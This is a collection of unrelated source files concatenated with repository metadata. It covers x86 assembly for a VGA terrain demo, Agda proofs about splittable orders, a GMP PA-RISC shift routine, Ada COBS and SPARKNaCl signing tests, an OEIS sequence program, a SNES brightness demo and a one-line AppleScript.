; regs = -52
; rn = -38
; yy = -4
; d = -32
; v = -36
; register di = i
; xf = -14
; yf = -10
; phase = -24
; amplitude = -28
; y = -42
; register si = x
; xp = -22
; x = -18
; maxY = -12
; theta = -26
; r = -14
; xh = -8
; yh = -10
; h = -62
; y = -16
; yy = -20
; Line 10
mov WORD PTR [bp-52],19 ;0013H ;regs
; Line 11
lea ax,WORD PTR [bp-52] ;regs
push ax
push ax
mov ax,16 ;0010H
push ax
call _int86
add sp,6
; Line 13
mov WORD PTR [bp-38],256 ;0100H ;rn
; Line 14
mov WORD PTR [bp-32],0 ;d
mov WORD PTR [bp-30],-28672 ;9000H
; Line 15
mov WORD PTR [bp-36],0 ;v
mov WORD PTR [bp-34],-24576 ;a000H
; Line 18
xor di,di
mov WORD PTR [bp-6],0
mov WORD PTR [bp-4],1 ;yy
xor si,si
mov WORD PTR [bp-2],1
neg si
neg si
adc WORD PTR [bp-2],-1 ;ffffH
mov cx,WORD PTR [bp-2]
$F913:
; Line 19
mov bx,di
xor ax,ax
mov dx,-24576 ;a000H
mov es,dx
add bx,ax
mov ax,di
mov BYTE PTR es:[bx],al
; Line 18
inc di
dec si
jne $F913
dec cx
jns $F913
; Line 19
mov WORD PTR [bp-2],0
mov ax,-32640 ;8080H
xor cx,cx
xor bx,bx
mov si,-28672 ;9000H
push si
mov di,bx
pop es
shr cx,1
rep stosw
jae $L1017
stosb
$L1017:
; Line 23
mov dx,1
mov bx,4
$F920:
; Line 24
mov di,1
mov cx,bx
mov WORD PTR [bp-18],bx ;x
mov WORD PTR [bp-20],bx ;yy
mov WORD PTR [bp-14],dx ;xf
$F924:
fldz
fldz
mov si,WORD PTR [bp-38] ;rn
; Line 25
lodsb
sub ah,ah
sub dx,dx
mov WORD PTR [bp-54],0
mov WORD PTR [bp-56],0
mov WORD PTR [bp-58],dx
mov WORD PTR [bp-60],ax
fild QWORD PTR [bp-60]
fstp ST(2)
lodsb
sub ah,ah
mov WORD PTR [bp-60],ax
fild WORD PTR [bp-60]
mov WORD PTR [bp-62],cx ;h
fidiv WORD PTR [bp-62] ;h
fstp ST(1)
mov WORD PTR [bp-6],0
mov WORD PTR [bp-4],-28672 ;9000H ;yy
mov WORD PTR [bp-8],0 ;xh
mov WORD PTR [bp-12],256 ;0100H ;maxY
mov WORD PTR [bp-16],cx ;y
mov WORD PTR [bp-10],di ;yf
mov WORD PTR [bp-38],si ;rn
fld ST(1)
fstp DWORD PTR [bp-24] ;phase
fst DWORD PTR [bp-28] ;amplitude
fwait
; Line 27
$F931:
; Line 28
xor si,si
mov ax,WORD PTR [bp-8] ;xh
mov WORD PTR [bp-2],ax
$F935:
; Line 29
les bx,DWORD PTR [bp-6]
sub ah,ah
mov al,BYTE PTR es:[bx][si]
sub dx,dx
mov WORD PTR [bp-54],0
mov WORD PTR [bp-56],0
mov WORD PTR [bp-58],dx
mov WORD PTR [bp-60],ax
fild QWORD PTR [bp-60]
fild WORD PTR [bp-2]
fadd ST(0),ST(3)
fmul QWORD PTR $T991
fmul QWORD PTR $S892_tau
call __aNCIsin
fld ST(2)
fmulp ST(1),ST(0)
faddp ST(1),ST(0)
call __aNftol
les bx,DWORD PTR [bp-6]
mov BYTE PTR es:[bx][si],al
mov ax,WORD PTR [bp-14] ;xf
add WORD PTR [bp-2],ax
inc si
cmp si,256 ;0100H
jl $F935
; Line 27
add BYTE PTR [bp-5],1
mov ax,WORD PTR [bp-10] ;yf
add WORD PTR [bp-8],ax ;xh
dec WORD PTR [bp-12] ;maxY
jne $F931
; Line 24
fstp ST(0)
fstp ST(0)
mov cx,WORD PTR [bp-16] ;y
add cx,WORD PTR [bp-18] ;x
mov di,ax
inc di
cmp di,25 ;0019H
jge $JCC373
jmp $F924
$JCC373:
; Line 23
mov dx,WORD PTR [bp-14] ;xf
inc dx
mov bx,WORD PTR [bp-20] ;yy
add bx,4
cmp bx,100 ;0064H
jge $JCC391
jmp $F920
$JCC391:
; Line 33
xor bx,bx
; Line 34
$D939:
; Line 35
mov WORD PTR [bp-18],0 ;x
mov WORD PTR [bp-22],bx ;xp
$F943:
; Line 36
mov WORD PTR [bp-12],0 ;maxY
; Line 37
mov ax,WORD PTR [bp-18] ;x
add ax,WORD PTR [bp-22] ;xp
mov WORD PTR [bp-62],ax ;h
fild WORD PTR [bp-62] ;h
fmul DWORD PTR $T992
fmul QWORD PTR $T993
fmul QWORD PTR $S892_tau
fstp DWORD PTR [bp-26] ;theta
fwait
; Line 38
mov WORD PTR [bp-14],1 ;xf
$F949:
fldz
fldz
; Line 39
fld DWORD PTR [bp-26] ;theta
fst ST(2)
call __aNCIsin
fild WORD PTR [bp-14] ;xf
fst ST(2)
fmulp ST(1),ST(0)
call __aNftol
mov si,ax
add si,WORD PTR [bp-22] ;xp
and si,255 ;00ffH
; Line 40
fld ST(1)
call __aNCIcos
fmul ST(0),ST(1)
call __aNftol
sub ah,ah
mov WORD PTR [bp-10],ax ;yf
; Line 42
mov cx,25 ;0019H
mov bx,ax
mov bh,bl
sub bl,bl
add bx,si
mov di,-28672 ;9000H
mov es,di
xor di,di
mov al,BYTE PTR es:[bx][di]
sub ah,ah
sub ax,256 ;0100H
imul cx
cwd
idiv WORD PTR [bp-14] ;xf
add ax,180 ;00b4H
mov WORD PTR [bp-16],ax ;y
; Line 43
mov ax,WORD PTR [bp-12] ;maxY
mov WORD PTR [bp-20],ax ;yy
mov cx,WORD PTR [bp-16] ;y
fstp ST(0)
fstp ST(0)
cmp cx,ax
jl $FB962
mov ax,-320 ;fec0H
imul WORD PTR [bp-20] ;yy
add ax,WORD PTR [bp-18] ;x
add ax,-1856 ;f8c0H
mov dx,-24576 ;a000H
mov WORD PTR [bp-4],ax ;yy
mov WORD PTR [bp-2],dx
mov ax,si
sub al,128 ;0080H
mov ah,BYTE PTR [bp-10] ;yf
mov dx,es
mov WORD PTR [bp-66],ax
mov WORD PTR [bp-64],es
mov ax,cx
sub ax,WORD PTR [bp-20] ;yy
inc ax
mov WORD PTR [bp-6],ax
mov WORD PTR [bp-8],si ;xh
lds si,DWORD PTR [bp-4] ;yy
ASSUME DS: NOTHING
mov di,ax
mov es,WORD PTR [bp-64]
$F960:
; Line 44
mov bx,WORD PTR [bp-66]
mov al,BYTE PTR es:[bx]
mov BYTE PTR [si],al
add si,-320 ;fec0H
dec di
jne $F960
push ss
pop ds
ASSUME DS: DGROUP
$FB962:
; Line 45
mov ax,WORD PTR [bp-12] ;maxY
cmp WORD PTR [bp-16],ax ;y
jle $FC950
; Line 46
mov ax,WORD PTR [bp-16] ;y
mov WORD PTR [bp-12],ax ;maxY
; Line 38
$FC950:
inc WORD PTR [bp-14] ;xf
cmp WORD PTR [bp-14],100 ;0064H ;xf
jge $JCC656
jmp $F949
$JCC656:
; Line 48
mov di,ax
cmp di,200 ;00c8H
jge $FC944
mov cx,-320 ;fec0H
imul cx
add ax,WORD PTR [bp-18] ;x
add ax,-1856 ;f8c0H
mov dx,-24576 ;a000H
mov bx,ax
mov ds,dx
ASSUME DS: NOTHING
mov ax,200 ;00c8H
sub ax,di
mov WORD PTR [bp-2],ax
mov WORD PTR [bp-4],di ;yy
mov cx,ax
$F965:
; Line 49
mov BYTE PTR [bx],0
add bx,-320 ;fec0H
dec cx
jne $F965
; Line 35
$FC944:
push ss
pop ds
ASSUME DS: DGROUP
inc WORD PTR [bp-18] ;x
cmp WORD PTR [bp-18],320 ;0140H ;x
jge $JCC720
jmp $F943
$JCC720:
; Line 50
mov bx,WORD PTR [bp-22] ;xp
; Line 51
inc bx
; Line 52
jmp $D939
_main ENDP
_TEXT ENDS
END
|
src/Dodo/Binary/SplittableOrder.agda | sourcedennis/agda-dodo | 0 | 5433 | {-# OPTIONS --without-K --safe #-}
module Dodo.Binary.SplittableOrder where
-- Stdlib imports
import Relation.Binary.PropositionalEquality as Eq
open Eq using (_≡_; refl)
open import Level using (Level; _⊔_)
open import Function using (_∘_)
open import Data.Empty using (⊥-elim)
open import Data.Sum using (_⊎_; inj₁; inj₂)
open import Data.Product using (_×_; _,_; proj₁; proj₂; ∃-syntax)
open import Relation.Nullary using (¬_)
open import Relation.Unary using (Pred)
open import Relation.Binary using (Rel; REL; Transitive; Trichotomous; Tri; tri<; tri≈; tri>)
open import Relation.Binary.Construct.Closure.Transitive using (TransClosure; [_]; _∷_; _++_)
-- Local imports
open import Dodo.Unary.Equality
open import Dodo.Binary.Equality
open import Dodo.Binary.Immediate
open import Dodo.Binary.Trichotomous
open import Dodo.Binary.Transitive
open import Dodo.Binary.Domain
open import Dodo.Binary.Filter
open import Function using (flip)
-- # Definitions #
-- For any `R x y` there exists a /path/ from `x` to `y`.
SplittableOrder : {a ℓ : Level} {A : Set a} (R : Rel A ℓ) → Set (a ⊔ ℓ)
SplittableOrder R = R ⇔₂ TransClosure (immediate R)
-- # Properties #
module _ {a ℓ : Level} {A : Set a} {R : Rel A ℓ} where
splittable-trans : SplittableOrder R → Transitive R
splittable-trans splitR Rij Rjk =
⇔₂-apply-⊇₂ splitR (⇔₂-apply-⊆₂ splitR Rij ++ ⇔₂-apply-⊆₂ splitR Rjk)
splittable-flip : SplittableOrder R → SplittableOrder (flip R)
splittable-flip splitR = ⇔: ⊆-proof ⊇-proof
where
⊆-proof : flip R ⊆₂' TransClosure (immediate (flip R))
⊆-proof _ _ = ⁺-map _ imm-flip ∘ ⁺-flip ∘ ⇔₂-apply-⊆₂ splitR
⊇-proof : TransClosure (immediate (flip R)) ⊆₂' flip R
⊇-proof _ _ = ⇔₂-apply-⊇₂ splitR ∘ ⁺-flip ∘ ⁺-map _ imm-flip
-- # Operations #
-- Split the left-most element from the ordered relation chain
splitˡ : ∀ {a ℓ : Level} {A : Set a} {R : Rel A ℓ}
→ SplittableOrder R
→ {x y : A}
→ R x y
--------------------------------------------------
→ immediate R x y ⊎ ∃[ z ] (immediate R x z × R z y)
splitˡ splitR Rxy with ⇔₂-apply-⊆₂ splitR Rxy
... | [ immRxy ] = inj₁ immRxy
... | _∷_ {x} {z} {y} immRxz immR⁺zy = inj₂ (z , immRxz , ⇔₂-apply-⊇₂ splitR immR⁺zy)
-- Split the right-most element from the ordered relation chain
splitʳ : ∀ {a ℓ : Level} {A : Set a} {R : Rel A ℓ}
→ SplittableOrder R
→ {x y : A}
→ R x y
--------------------------------------------------
→ immediate R x y ⊎ ∃[ z ] (R x z × immediate R z y)
splitʳ {A = A} {R = R} splitR Rxy = lemma (⇔₂-apply-⊆₂ splitR Rxy)
where
lemma : ∀ {x y : A} → TransClosure (immediate R) x y → immediate R x y ⊎ ∃[ z ] (R x z × immediate R z y)
lemma [ immRxy ] = inj₁ immRxy
lemma ( _∷_ {x} {z} {y} immRxz immR⁺zy ) with lemma immR⁺zy
... | inj₁ immRzy = inj₂ (z , proj₁ immRxz , immRzy)
... | inj₂ (w , Rzw , immRwy) = inj₂ (w , splittable-trans splitR (proj₁ immRxz) Rzw , immRwy)
-- Splits the given left-most element from the chain.
unsplitˡ : ∀ {a ℓ₁ ℓ₂ : Level} {A : Set a} {_≈_ : Rel A ℓ₁} {R : Rel A ℓ₂}
→ Trichotomous _≈_ R
→ SplittableOrder R
→ {x y z : A}
→ R x z
→ immediate R x y
→ y ≈ z ⊎ R y z
unsplitˡ triR splitR {x} {y} {z} Rxz immRxy with splitˡ splitR Rxz
unsplitˡ triR splitR {x} {y} {z} Rxz immRxy | inj₁ immRxz = inj₁ (tri-immʳ triR immRxy immRxz)
unsplitˡ triR splitR {x} {y} {z} Rxz immRxy | inj₂ (v , immRxv , Rvz) with triR y z
unsplitˡ triR splitR {x} {y} {z} Rxz immRxy | inj₂ (v , immRxv , Rvz) | tri< Ryz y≢z ¬Rzy = inj₂ Ryz
unsplitˡ triR splitR {x} {y} {z} Rxz immRxy | inj₂ (v , immRxv , Rvz) | tri≈ ¬Ryz y≡z ¬Rzy = inj₁ y≡z
unsplitˡ triR splitR {x} {y} {z} Rxz immRxy | inj₂ (v , immRxv , Rvz) | tri> ¬Ryz y≢z Rzy = ⊥-elim (proj₂ immRxy (z , Rxz , [ Rzy ]))
-- Splits the given right-most element from the chain.
unsplitʳ : ∀ {a ℓ₁ ℓ₂ : Level} {A : Set a} {_≈_ : Rel A ℓ₁} {R : Rel A ℓ₂}
→ Trichotomous _≈_ R
→ SplittableOrder R
→ {x y z : A}
→ R x z
→ immediate R y z
→ x ≈ y ⊎ R x y
unsplitʳ triR splitR {x} {y} {z} Rxz iRyz with splitʳ splitR Rxz
unsplitʳ triR splitR {x} {y} {z} Rxz iRyz | inj₁ iRxz = inj₁ (tri-immˡ triR iRxz iRyz)
unsplitʳ triR splitR {x} {y} {z} Rxz iRyz | inj₂ (v , Rxv , iRvz) with triR x y
unsplitʳ triR splitR {x} {y} {z} Rxz iRyz | inj₂ (v , Rxv , iRvz) | tri< Rxy x≢y ¬Ryx = inj₂ Rxy
unsplitʳ triR splitR {x} {y} {z} Rxz iRyz | inj₂ (v , Rxv , iRvz) | tri≈ ¬Rxy x≡y ¬Ryx = inj₁ x≡y
unsplitʳ triR splitR {x} {y} {z} Rxz iRyz | inj₂ (v , Rxv , iRvz) | tri> ¬Rxy x≢y Ryx = ⊥-elim (proj₂ iRyz (x , Ryx , [ Rxz ]))
splittable-imm-udr : ∀ {a ℓ : Level} {A : Set a} {R : Rel A ℓ}
→ SplittableOrder R
→ udr R ⇔₁ udr (immediate R)
splittable-imm-udr {R = R} splitR = ⇔: ⊆-proof ⊇-proof
where
⊆-proof : udr R ⊆₁' udr (immediate R)
⊆-proof x (inj₁ (y , Rxy)) = inj₁ (⁺-dom (⇔₂-apply-⊆₂ splitR Rxy))
⊆-proof y (inj₂ (x , Rxy)) = inj₂ (⁺-codom (⇔₂-apply-⊆₂ splitR Rxy))
⊇-proof : udr (immediate R) ⊆₁' udr R
⊇-proof x (inj₁ (y , Rxy)) = inj₁ (y , proj₁ Rxy)
⊇-proof y (inj₂ (x , Rxy)) = inj₂ (x , proj₁ Rxy)
-- | If any value in the chain of R satisfies P, it remains splittable after lifting.
--
-- The chain is traversed /to the left/.
filter-splittableˡ : ∀ {a ℓ : Level} {A : Set a} {R : Rel A ℓ}
→ SplittableOrder R
→ (P : Pred A ℓ)
→ (∀ {x y : A} → P y → R x y → P x)
---------------------------------
→ SplittableOrder (filter-rel P R)
filter-splittableˡ {A = A} {R = R} splitR P f = ⇔: ⊆-proof ⊇-proof
where
lemma⊆-imm : ∀ {x y : A} → (Px : P x) → (Py : P y) → immediate R x y → immediate (filter-rel P R) (with-pred x Px) (with-pred y Py)
lemma⊆-imm {x} {y} Px Py (Rxy , ¬∃z) = Rxy , ¬∃z'
where
¬∃z' : ¬ (∃[ z ] filter-rel P R (with-pred x Px) z × TransClosure (filter-rel P R) z (with-pred y Py))
¬∃z' (with-pred z Pz , Rxz , R⁺zy) = ¬∃z (z , Rxz , ⁺-strip-filter R⁺zy)
lemma⊆ : ∀ {x y : A} → (Px : P x) → (Py : P y) → TransClosure (immediate R) x y
→ TransClosure (immediate (filter-rel P R)) (with-pred x Px) (with-pred y Py)
lemma⊆ Px Py [ iRxy ] = [ lemma⊆-imm Px Py iRxy ]
lemma⊆ Px Py ( iRxz ∷ iR⁺zy ) =
let Pz = ⁺-predˡ (λ Pz → f Pz ∘ proj₁) iR⁺zy Py
in lemma⊆-imm Px Pz iRxz ∷ lemma⊆ Pz Py iR⁺zy
⊆-proof : filter-rel P R ⊆₂' TransClosure (immediate (filter-rel P R))
⊆-proof (with-pred x Px) (with-pred y Py) Rxy = lemma⊆ Px Py (⇔₂-apply-⊆₂ splitR Rxy)
lemma⊇-imm : ∀ {x y : A} → (Px : P x) → (Py : P y) → immediate (filter-rel P R) (with-pred x Px) (with-pred y Py)
→ immediate R x y
lemma⊇-imm {x} {y} Px Py (Rxy , ¬∃z) = (Rxy , ¬∃z')
where
¬∃z' : ¬ (∃[ z ] R x z × TransClosure R z y)
¬∃z' (z , Rxz , R⁺zy) =
let Pz = ⁺-predˡ f R⁺zy Py
in ¬∃z (with-pred z Pz , Rxz , ⁺-filter-relˡ f Pz Py R⁺zy)
lemma⊇ : ∀ {x y : A} → (Px : P x) → (Py : P y)
→ TransClosure (immediate (filter-rel P R)) (with-pred x Px) (with-pred y Py)
→ TransClosure (immediate R) x y
lemma⊇ Px Py [ iRxy ] = [ lemma⊇-imm Px Py iRxy ]
lemma⊇ Px Py ( _∷_ {_} {with-pred z Pz} iRxz iR⁺zy ) = lemma⊇-imm Px Pz iRxz ∷ lemma⊇ Pz Py iR⁺zy
⊇-proof : TransClosure (immediate (filter-rel P R)) ⊆₂' filter-rel P R
⊇-proof (with-pred x Px) (with-pred y Py) Rxy = ⇔₂-apply-⊇₂ splitR (lemma⊇ Px Py Rxy)
-- | If any value in the chain of R satisfies P, it remains splittable after lifting.
--
-- The chain is traversed /to the right/.
filter-splittableʳ : ∀ {a ℓ : Level} {A : Set a} {R : Rel A ℓ}
→ SplittableOrder R
→ (P : Pred A ℓ)
→ (∀ {x y : A} → P x → R x y → P y)
---------------------------------
→ SplittableOrder (filter-rel P R)
filter-splittableʳ {A = A} {R = R} splitR P f = ⇔: ⊆-proof ⊇-proof
where
lemma⊆-imm : ∀ {x y : A} → (Px : P x) → (Py : P y) → immediate R x y → immediate (filter-rel P R) (with-pred x Px) (with-pred y Py)
lemma⊆-imm {x} {y} Px Py (Rxy , ¬∃z) = Rxy , ¬∃z'
where
¬∃z' : ¬ (∃[ z ] filter-rel P R (with-pred x Px) z × TransClosure (filter-rel P R) z (with-pred y Py))
¬∃z' (with-pred z Pz , Rxz , R⁺zy) = ¬∃z (z , Rxz , ⁺-strip-filter R⁺zy)
lemma⊆ : ∀ {x y : A} → (Px : P x) → (Py : P y) → TransClosure (immediate R) x y
→ TransClosure (immediate (filter-rel P R)) (with-pred x Px) (with-pred y Py)
lemma⊆ Px Py [ iRxy ] = [ lemma⊆-imm Px Py iRxy ]
lemma⊆ Px Py ( iRxz ∷ iR⁺zy ) =
let Pz = f Px (proj₁ iRxz)
in lemma⊆-imm Px Pz iRxz ∷ lemma⊆ Pz Py iR⁺zy
⊆-proof : filter-rel P R ⊆₂' TransClosure (immediate (filter-rel P R))
⊆-proof (with-pred x Px) (with-pred y Py) Rxy = lemma⊆ Px Py (⇔₂-apply-⊆₂ splitR Rxy)
lemma⊇-imm : ∀ {x y : A} → (Px : P x) → (Py : P y) → immediate (filter-rel P R) (with-pred x Px) (with-pred y Py)
→ immediate R x y
lemma⊇-imm {x} {y} Px Py (Rxy , ¬∃z) = Rxy , ¬∃z'
where
¬∃z' : ¬ (∃[ z ] R x z × TransClosure R z y)
¬∃z' (z , Rxz , R⁺zy) =
let Pz = f Px Rxz
in ¬∃z (with-pred z Pz , Rxz , ⁺-filter-relʳ f Pz Py R⁺zy)
lemma⊇ : ∀ {x y : A} → (Px : P x) → (Py : P y)
→ TransClosure (immediate (filter-rel P R)) (with-pred x Px) (with-pred y Py)
→ TransClosure (immediate R) x y
lemma⊇ Px Py [ iRxy ] = [ lemma⊇-imm Px Py iRxy ]
lemma⊇ Px Py ( _∷_ {_} {with-pred z Pz} iRxz iR⁺zy ) = lemma⊇-imm Px Pz iRxz ∷ lemma⊇ Pz Py iR⁺zy
⊇-proof : TransClosure (immediate (filter-rel P R)) ⊆₂' filter-rel P R
⊇-proof (with-pred x Px) (with-pred y Py) Rxy = ⇔₂-apply-⊇₂ splitR (lemma⊇ Px Py Rxy)
|
libtool/src/gmp-6.1.2/mpn/pa32/hppa1_1/pa7100/rshift.asm | kroggen/aergo | 1,602 | 103129 | <reponame>kroggen/aergo<gh_stars>1000+
dnl HP-PA mpn_rshift -- Shift a number right.
dnl Optimized for the PA7100, where is runs at 3.25 cycles/limb.
dnl Copyright 1992, 1994, 2000-2003 Free Software Foundation, Inc.
dnl This file is part of the GNU MP Library.
dnl
dnl The GNU MP Library is free software; you can redistribute it and/or modify
dnl it under the terms of either:
dnl
dnl * the GNU Lesser General Public License as published by the Free
dnl Software Foundation; either version 3 of the License, or (at your
dnl option) any later version.
dnl
dnl or
dnl
dnl * the GNU General Public License as published by the Free Software
dnl Foundation; either version 2 of the License, or (at your option) any
dnl later version.
dnl
dnl or both in parallel, as here.
dnl
dnl The GNU MP Library is distributed in the hope that it will be useful, but
dnl WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
dnl or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
dnl for more details.
dnl
dnl You should have received copies of the GNU General Public License and the
dnl GNU Lesser General Public License along with the GNU MP Library. If not,
dnl see https://www.gnu.org/licenses/.
include(`../config.m4')
C INPUT PARAMETERS
C res_ptr r26
C s_ptr r25
C size r24
C cnt r23
ASM_START()
PROLOGUE(mpn_rshift)
ldws,ma 4(0,%r25),%r22
mtsar %r23
addib,= -1,%r24,L(0004)
vshd %r22,%r0,%r28 C compute carry out limb
ldws,ma 4(0,%r25),%r29
addib,<= -5,%r24,L(rest)
vshd %r29,%r22,%r20
LDEF(loop)
ldws,ma 4(0,%r25),%r22
stws,ma %r20,4(0,%r26)
vshd %r22,%r29,%r20
ldws,ma 4(0,%r25),%r29
stws,ma %r20,4(0,%r26)
vshd %r29,%r22,%r20
ldws,ma 4(0,%r25),%r22
stws,ma %r20,4(0,%r26)
vshd %r22,%r29,%r20
ldws,ma 4(0,%r25),%r29
stws,ma %r20,4(0,%r26)
addib,> -4,%r24,L(loop)
vshd %r29,%r22,%r20
LDEF(rest)
addib,= 4,%r24,L(end1)
nop
LDEF(eloop)
ldws,ma 4(0,%r25),%r22
stws,ma %r20,4(0,%r26)
addib,<= -1,%r24,L(end2)
vshd %r22,%r29,%r20
ldws,ma 4(0,%r25),%r29
stws,ma %r20,4(0,%r26)
addib,> -1,%r24,L(eloop)
vshd %r29,%r22,%r20
LDEF(end1)
stws,ma %r20,4(0,%r26)
vshd %r0,%r29,%r20
bv 0(%r2)
stw %r20,0(0,%r26)
LDEF(end2)
stws,ma %r20,4(0,%r26)
LDEF(0004)
vshd %r0,%r22,%r20
bv 0(%r2)
stw %r20,0(0,%r26)
EPILOGUE()
|
tests/src/test_utils-abstract_encoder-cobs_queue.ads | Fabien-Chouteau/COBS | 0 | 13298 | with COBS.Queue.Encoder;
package Test_Utils.Abstract_Encoder.COBS_Queue is
subtype Parent is Abstract_Encoder.Instance;
type Instance (Size : COBS.Queue.Encoder.Buffer_Size)
is limited new Parent with private;
type Acc is access all Instance;
type Any_Acc is access all Instance'Class;
overriding
procedure Receive (This : in out Instance;
Data : Storage_Element);
overriding
procedure End_Of_Frame (This : in out Instance);
overriding
procedure Update (This : in out Instance);
overriding
procedure End_Of_Test (This : in out Instance);
private
type Instance (Size : COBS.Queue.Encoder.Buffer_Size)
is limited new Parent with record
Encoder : COBS.Queue.Encoder.Instance (Size);
end record;
end Test_Utils.Abstract_Encoder.COBS_Queue;
|
src/tom/library/sl/ada/visitfailurepackage.ads | rewriting/tom | 36 | 24566 | <reponame>rewriting/tom
package VisitFailurePackage is
VisitFailure: Exception;
procedure RaiseVisitFailure(msg: String);
end VisitFailurePackage;
|
Light/Literals/Definition/Negative.agda | zamfofex/lightlib | 1 | 2573 | {-# OPTIONS --omega-in-omega --no-termination-check --overlapping-instances #-}
module Light.Literals.Definition.Negative where
open import Light.Library.Data.Natural as ℕ using (ℕ ; zero ; successor) renaming (ℓ to nℓ)
open import Light.Level using (++_ ; _⊔_)
open import Light.Variable.Sets
open import Light.Variable.Levels
open import Light.Package using (Package)
record FromNegative ⦃ package : Package record { ℕ } ⦄ (𝕒 : Set ℓ) : Set (++ (nℓ ⊔ ℓ)) where
field convert : ℕ → 𝕒
open FromNegative ⦃ ... ⦄ using (convert)
open import Agda.Builtin.Nat as Nat using (Nat)
private
change : ∀ ⦃ package : Package record { ℕ } ⦄ → Nat → ℕ
change Nat.zero = zero
change (Nat.suc n) = successor (change n)
from‐literal : ∀ ⦃ package : Package record { ℕ } ⦄ ⦃ natural : FromNegative 𝕒 ⦄ (n : Nat) → 𝕒
from‐literal n = convert (change n)
{-# BUILTIN FROMNEG from‐literal #-}
|
programs/oeis/329/A329827.asm | karttu/loda | 1 | 163578 | ; A329827: Beatty sequence for (5+sqrt(37))/6.
; 1,3,5,7,9,11,12,14,16,18,20,22,24,25,27,29,31,33,35,36,38,40,42,44,46,48,49,51,53,55,57,59,60,62,64,66,68,70,72,73,75,77,79,81,83,84,86,88,90,92,94,96,97,99,101,103,105,107,108,110,112,114,116
add $0,1
mov $1,24
mul $1,$0
div $1,13
|
examples/brightness/program.asm | michielvoo/snes | 51 | 19532 | ; brightness
; Turn the brightness of the display up or down using the D-pad.
.INCLUDE "../lib/header.asm"
.INCLUDE "../lib/registers.asm"
.INCLUDE "../lib/settings.asm"
.INCLUDE "../lib/values.asm"
.INCLUDE "../lib/initialization.asm"
.BANK 0
.ORG 0
.SECTION ""
Main:
Reset
; Set accumulator to 8-bit mode
sep #$20
; Set palette 0 color 0 to white
stz CGADD
lda #$FF
sta CGDATA
lda #$7F
sta CGDATA
; Enable VBlank and joypad auto-read
lda #(NMITIMEN_NMI_ENABLE | NMITIMEN_JOY_ENABLE)
sta NMITIMEN
; Turn on the screen at full brightness
lda #$0F
sta INIDISP
; Save the current brightness in WRAM
.DEFINE BRIGHTNESS $7F0000
sta BRIGHTNESS
; For comparing joypad input
.DEFINE INPUT $7F0001
.DEFINE INPUT_PREVIOUS $7F0002
- wai
jmp -
VBlank:
; Wait until the joypad input can be read
lda #HVBJOY_JOYREADY
- and HVBJOY
cmp #HVBJOY_JOYREADY
bne -
; When the joypad input is the same as during the previous VBlank, return
lda JOY1H
sta INPUT
cmp INPUT_PREVIOUS
beq +
sta INPUT_PREVIOUS
; Jump to label On if the up button was pressed
lda #JOYH_UP
and JOY1H
cmp #JOYH_UP
beq Brighten
; Jump to label Off if the down button was pressed
lda #JOYH_DOWN
and JOY1H
cmp #JOYH_DOWN
beq Dim
+ rti
Dim:
; Retrieve the current brightness, decrement, set screen brightness, and save value
lda BRIGHTNESS
beq +
dec a
sta INIDISP
sta BRIGHTNESS
+ rti
Brighten:
; Retrieve the current brightness, increment, set screen brightness, and save value
lda BRIGHTNESS
cmp #$0F
beq +
inc a
sta INIDISP
sta BRIGHTNESS
+ rti
IRQ:
lda TIMEUP
rti
.ENDS |
docs/bugBounty2020/apps/proto-ota/sign/ada/keygen.adb | mikkowus/BESSPIN-Tool-Suite | 0 | 15064 | with SPARKNaCl; use SPARKNaCl;
with SPARKNaCl.Sign; use SPARKNaCl.Sign;
with SPARKNaCl.Debug; use SPARKNaCl.Debug;
with Ada.Text_IO; use Ada.Text_IO;
with Ada.Unchecked_Conversion;
with Interfaces; use Interfaces;
with GNAT.SHA256; use GNAT.SHA256;
with GNAT.IO_Aux;
procedure KeyGen
is
PK1 : Signing_PK;
SK1 : Signing_SK;
PK2 : Signing_PK;
SK2 : Signing_SK;
SK_Raw : Bytes_32;
function C is new
Ada.Unchecked_Conversion (Binary_Message_Digest, Bytes_32);
M : constant Bytes_64 := (16#55#, others => 16#aa#);
SM, M2 : Byte_Seq (0 .. 127);
OK : Boolean;
M2Len : I32;
begin
Put ("What's the password: ");
declare
S : constant String := GNAT.IO_Aux.Get_Line;
begin
SK_Raw := C (GNAT.SHA256.Digest (S));
DH ("SK_Raw is ", SK_Raw);
Keypair_From_Bytes (SK_Raw, PK1, SK1);
-- Modify SK_Raw and genereate SK2 and PK2 from it to get
-- a different key pair
SK_Raw (1) := SK_Raw (1) + 1;
Keypair_From_Bytes (SK_Raw, PK2, SK2);
DH ("PK1 is", Serialize (PK1));
DH ("SK1 is", Serialize (SK1));
Put_Line ("Case 1 - correct keys and message");
SPARKNaCl.Sign.Sign (SM, M, SK1);
DH ("SM is ", SM);
SPARKNaCl.Sign.Open (M2, OK, M2Len, SM, PK1);
if OK then
Put_Line ("Signature OK");
Put_Line ("M2Len is " & M2Len'Img);
DH ("M2 is ", M2 (0 .. (M2Len - 1)));
else
Put_Line ("Signature NOT OK");
end if;
Put_Line ("Case 2 - same message, but wrong public key");
SPARKNaCl.Sign.Open (M2, OK, M2Len, SM, PK2);
if OK then
Put_Line ("Signature OK");
Put_Line ("M2Len is " & M2Len'Img);
DH ("M2 is ", M2);
else
Put_Line ("Signature NOT OK");
end if;
Put_Line
("Case 3 - same message, correct public key, but wrong private key");
SPARKNaCl.Sign.Sign (SM, M, SK2);
SPARKNaCl.Sign.Open (M2, OK, M2Len, SM, PK1);
if OK then
Put_Line ("Signature OK");
Put_Line ("M2Len is " & M2Len'Img);
DH ("M2 is ", M2);
else
Put_Line ("Signature NOT OK");
end if;
Put_Line
("Case 4 - correct keys, but message corrupted");
SPARKNaCl.Sign.Sign (SM, M, SK1);
-- Corrupt SM data in some way
SM (SM'Last) := SM (SM'Last) - 1;
SPARKNaCl.Sign.Open (M2, OK, M2Len, SM, PK1);
if OK then
Put_Line ("Signature OK");
Put_Line ("M2Len is " & M2Len'Img);
DH ("M2 is ", M2);
else
Put_Line ("Signature NOT OK");
end if;
Put_Line
("Case 5 - correct keys, but signature corrupted");
SPARKNaCl.Sign.Sign (SM, M, SK1);
-- Corrupt SM sig in some way
SM (SM'First) := SM (SM'First) - 1;
SPARKNaCl.Sign.Open (M2, OK, M2Len, SM, PK1);
if OK then
Put_Line ("Signature OK");
Put_Line ("M2Len is " & M2Len'Img);
DH ("M2 is ", M2);
else
Put_Line ("Signature NOT OK");
end if;
end;
end KeyGen;
|
Commands/Miscellaneous Commands suite/round/round <real> rounding to nearest.applescript | looking-for-a-job/applescript-examples | 1 | 4719 | <filename>Commands/Miscellaneous Commands suite/round/round <real> rounding to nearest.applescript
#!/usr/bin/osascript
round -3.67
